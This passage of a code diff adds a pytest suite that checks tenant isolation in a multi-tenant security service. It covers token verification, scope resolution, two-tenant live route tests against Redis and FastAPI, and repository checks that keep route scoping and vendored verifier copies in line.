+ ("refresh token", {"token_type": "refresh"}, SECRET),
+ ("expired", {"ttl": -3600}, SECRET),
+ ],
+)
+def test_unacceptable_tokens_are_refused(scope_module, label: str, token_kwargs: dict, secret: str) -> None:
+ token = console_token(TENANT_A, secret=secret, **token_kwargs)
+ assert scope_module.verify_console_token(token, SECRET) is None, f"{label} was accepted"
+
+
+def test_token_without_a_tenant_claim_is_refused(scope_module) -> None:
+ """No tenant on the token is an empty scope, never an unscoped one."""
+ assert scope_module.verify_console_token(console_token(None), SECRET) is None
+
+
+def test_requested_tenant_inside_scope_is_honoured(scope_module) -> None:
+ principal = scope_module.TenantPrincipal(tenant_ids=frozenset({TENANT_A}), subject="console:a")
+ assert scope_module.resolve_scoped_tenant(principal, TENANT_A) == TENANT_A
+ assert scope_module.resolve_scoped_tenant(principal, None) == TENANT_A
+
+
+def test_requested_tenant_outside_scope_narrows_to_nothing(scope_module) -> None:
+ principal = scope_module.TenantPrincipal(tenant_ids=frozenset({TENANT_A}), subject="console:a")
+ with pytest.raises(scope_module.TenantScopeError):
+ scope_module.resolve_scoped_tenant(principal, TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening(scope_module) -> None:
+ """The invariant every cross-tenant leak here has broken."""
+ with pytest.raises(scope_module.TenantScopeError):
+ scope_module.resolve_scoped_tenant(scope_module.EMPTY_PRINCIPAL, None)
+ with pytest.raises(scope_module.TenantScopeError):
+ scope_module.resolve_scoped_tenant(scope_module.EMPTY_PRINCIPAL, TENANT_A)
+
+
+# ---------------------------------------------------------------------------
+# Layer 2 — two-tenant live replay against the real router
+# ---------------------------------------------------------------------------
+
+
+async def test_entity_risk_routes_refuse_a_foreign_tenant(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Seed A and B for real, then try to read A as B through the real routes."""
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.setenv("RBA_ENABLED", "true")
+
+ pytest.importorskip("httpx")
+ pytest.importorskip("redis")
+ import httpx # noqa: PLC0415
+ import redis.asyncio as aioredis # noqa: PLC0415
+ from fastapi import FastAPI # noqa: PLC0415
+
+ redis = aioredis.from_url(REDIS_URL, decode_responses=True)
+ try:
+ await redis.ping()
+ except Exception: # noqa: BLE001
+ pytest.skip(f"no Redis at {REDIS_URL}")
+
+ from app.api import router as router_mod # noqa: PLC0415
+ from app.models.alert import AlertSeverity, RawAlert # noqa: PLC0415
+ from app.services.entity_risk import EntityRiskEngine # noqa: PLC0415
+
+ def alert(tenant: uuid.UUID, user: str, host: str) -> RawAlert:
+ return RawAlert(
+ id=uuid.uuid4(),
+ tenant_id=tenant,
+ title=f"seed for {user}",
+ description="isolation replay",
+ severity=AlertSeverity.HIGH,
+ source="isolation-suite",
+ username=user,
+ hostname=host,
+ )
+
+ await redis.flushdb()
+ engine = EntityRiskEngine(redis)
+ try:
+ for _ in range(3):
+ await engine.observe(alert(TENANT_A, "[email protected]", "a-dc-01"))
+ await engine.observe(alert(TENANT_B, "[email protected]", "b-lap-09"))
+
+ a_rows = await engine.top_entities(TENANT_A, limit=25)
+ b_rows = await engine.top_entities(TENANT_B, limit=25)
+ # Non-vacuity: if A has no rows, "B did not see A's rows" is trivially
+ # true and proves nothing about the scoping.
+ assert a_rows, "tenant A seeded no rows — the assertions below would be vacuous"
+ assert b_rows, "tenant B seeded no rows — the assertions below would be vacuous"
+ a_values = {r.entity_value for r in a_rows}
+
+ class _Engine:
+ entity_risk = engine
+
+ class _Worker:
+ engine = _Engine()
+
+ monkeypatch.setattr(router_mod, "_worker_ref", _Worker())
+
+ app = FastAPI()
+ app.include_router(router_mod.router)
+ transport = httpx.ASGITransport(app=app)
+
+ async with httpx.AsyncClient(transport=transport, base_url="http://fusion.test") as client:
+ path = f"/entity-risk/queue?tenant_id={TENANT_A}"
+
+ # 1. No credential at all — the pre-fix leak.
+ anon = await client.get(path)
+ assert anon.status_code == 401, f"anonymous read returned {anon.status_code}: {anon.text[:200]}"
+
+ # 2. A service token that declares no tenant. Absent is not all.
+ undeclared = await client.get(path, headers={"Authorization": f"Bearer {SERVICE_TOKEN}"})
+ assert undeclared.status_code == 403
+
+ # 3. A service token acting for B, reaching for A.
+ delegated = await client.get(
+ path,
+ headers={"Authorization": f"Bearer {SERVICE_TOKEN}", "X-AiSOC-Tenant-ID": str(TENANT_B)},
+ )
+ assert delegated.status_code == 403
+
+ # 4. A console session for B, reaching for A.
+ as_b = await client.get(path, headers={"Authorization": f"Bearer {console_token(TENANT_B)}"})
+ assert as_b.status_code == 403, f"tenant B read tenant A's queue: {as_b.text[:300]}"
+
+ # 5. The legitimate reads still work, and B's contains none of A's.
+ own_a = await client.get("/entity-risk/queue", headers={"Authorization": f"Bearer {console_token(TENANT_A)}"})
+ assert own_a.status_code == 200
+ assert {e["entity_value"] for e in own_a.json()["entities"]} == a_values
+
+ own_b = await client.get("/entity-risk/queue", headers={"Authorization": f"Bearer {console_token(TENANT_B)}"})
+ assert own_b.status_code == 200
+ b_seen = {e["entity_value"] for e in own_b.json()["entities"]}
+ assert b_seen, "tenant B's own scoped read returned nothing — the isolation may be over-broad"
+ assert not (b_seen & a_values), f"tenant A values leaked into tenant B's read: {sorted(b_seen & a_values)}"
+
+ # 6. The other two entity-risk routes carry the same guard.
+ for foreign in (
+ f"/entity-risk/stats?tenant_id={TENANT_A}",
+ f"/entity-risk/user/[email protected]?tenant_id={TENANT_A}",
+ ):
+ resp = await client.get(foreign, headers={"Authorization": f"Bearer {console_token(TENANT_B)}"})
+ assert resp.status_code == 403, f"{foreign} returned {resp.status_code} to tenant B"
+ finally:
+ await redis.flushdb()
+ await redis.aclose()
+
+
+# ---------------------------------------------------------------------------
+# Layer 3 — the repository-wide gate must stay green
+# ---------------------------------------------------------------------------
+
+
+def test_no_route_takes_an_unscoped_tenant_identifier() -> None:
+ """Run the AST gate over the tree so a new route cannot reintroduce this."""
+ result = subprocess.run(
+ [sys.executable, str(REPO_ROOT / "scripts" / "check_route_tenant_scope.py")],
+ capture_output=True,
+ text=True,
+ cwd=REPO_ROOT,
+ )
+ assert result.returncode == 0, f"check_route_tenant_scope reported violations:\n{result.stdout}\n{result.stderr}"
+
+
+def test_the_gate_itself_detects_injected_drift() -> None:
+ """A gate nobody has seen fail is indistinguishable from one that cannot."""
+ result = subprocess.run(
+ [sys.executable, str(REPO_ROOT / "scripts" / "check_route_tenant_scope.py"), "--self-test"],
+ capture_output=True,
+ text=True,
+ cwd=REPO_ROOT,
+ )
+ assert result.returncode == 0, f"gate self-test failed:\n{result.stdout}\n{result.stderr}"
+
+
+def test_vendored_tenant_scope_copies_have_not_drifted() -> None:
+ """Six services carry this verifier; a fix in one is a fix in none."""
+ result = subprocess.run(
+ [sys.executable, str(REPO_ROOT / "scripts" / "sync_vendored_tenant_scope.py"), "--check"],
+ capture_output=True,
+ text=True,
+ cwd=REPO_ROOT,
+ )
+ assert result.returncode == 0, f"vendored copies drifted:\n{result.stdout}\n{result.stderr}"